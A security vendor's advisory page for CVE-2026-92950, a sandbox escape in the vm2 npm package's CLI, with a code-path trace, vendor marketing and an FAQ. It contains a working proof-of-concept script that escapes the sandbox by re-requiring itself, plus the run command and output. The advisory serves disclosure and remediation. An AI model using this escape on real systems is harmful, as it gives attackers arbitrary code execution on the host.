CVE-2026-92950

CVE-2026-92950 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts

The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.

Details

The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.

Vulnerable code path

  1. Source - bin/vm2:3 → lib/cli.js:7-18. process.argv[2] is the
    attacker-authored script path. The CLI invokes:
    NodeVM.file(path, { verbose: true, require: { external: true } });
    
    Without require.root, require.context, nor require.builtin.
  2. Hop - lib/nodevm.js:618-636. NodeVM.file reads the file and calls
    new NodeVM(options).run(body, resolvedFilename).
  3. Hop - lib/nodevm.js:335 → lib/resolver-compat.js:205-266
    (makeResolverFromLegacyOptions). Destructures external:true,
    rootPaths=undefined, hostRequire=defaultRequire (line 218),
    context='host' (default, line 219). Because typeof externalOpt !== 'object'
    (line 265) it returns a CustomResolver with checkedRootPaths=undefined and
    pathContext = () => 'host' (line 263).
  4. Hop - lib/setup-node-sandbox.js:86-123 (requireImpl). Sandbox
    require(id) resolves via resolver.resolve(...) (lib/nodevm.js:380-383).
    lib/resolver.js:244-275 handles absolute/relative specifiers; tryFile at
    lib/resolver.js:327-329 gates on this.isPathAllowed(x).
  5. Barrier (gap) - lib/resolver-compat.js:53-54:
    isPathAllowed(filename) {
        if (this.rootPaths === undefined) return true;
    
    With no root configured, every filesystem path is allowed. checkAccess
    (lib/resolver.js:39-42) delegates to the same method.
  6. Sink - lib/resolver-compat.js:74-77:
    loadJS(vm, mod, filename) {
        if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);
        const m = this.hostRequire(filename);   // ← host-realm require()
        mod.exports = vm.readonly(m);
    }
    
    hostRequire is defaultRequire (lib/resolver-compat.js:20-23) - the real
    host require(). The required module's top-level body executes in the host
    realm
    before vm.readonly() wraps the exports; wrapping happens too late to
    constrain side-effects. loadNode (lib/resolver-compat.js:80-83) is
    identical for .node native addons (process.dlopen in host).

PoC

Save the following as /tmp/poc.js:

'use strict';
try {
    // Host realm: fs is available - write sentinel and stop.
    const fs = require('fs');
    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
    console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
    // the CLI resolver loads it via host require() (resolver-compat.js:76).
    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
    require(__filename);
}

Run via the shipped CLI exactly as the README documents:

node ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`

Observed output:

sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof

/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose
direct require('fs') was blocked by the sandbox. The first line proves the
boundary exists; the second proves it was crossed.

Impact

A user who follows the README's CLI section and runs vm2 ./untrusted.js on an
attacker-supplied file gets arbitrary code execution as that user - the
sandbox provides no isolation in this configuration. The blast radius is the
full host Node.js process: fs, child_process, process.dlopen, network,
environment.

CVE-2026-92950 has a CVSS score of 8.6 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.11.6)

Security releases

vm2 → 3.11.7 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade vm2 to 3.11.7 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-92950? CVE-2026-92950 is a high-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.
  2. How severe is CVE-2026-92950? CVE-2026-92950 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-92950? vm2 (npm) versions <= 3.11.6 is affected.
  4. Is there a fix for CVE-2026-92950? Yes. CVE-2026-92950 is fixed in 3.11.7. Upgrade to this version or later.
  5. Is CVE-2026-92950 exploitable, and should I be worried? Whether CVE-2026-92950 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92950 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92950? Upgrade vm2 to 3.11.7 or later.

Other vulnerabilities in vm2

Stop the waste.
Protect your environment with Kodem.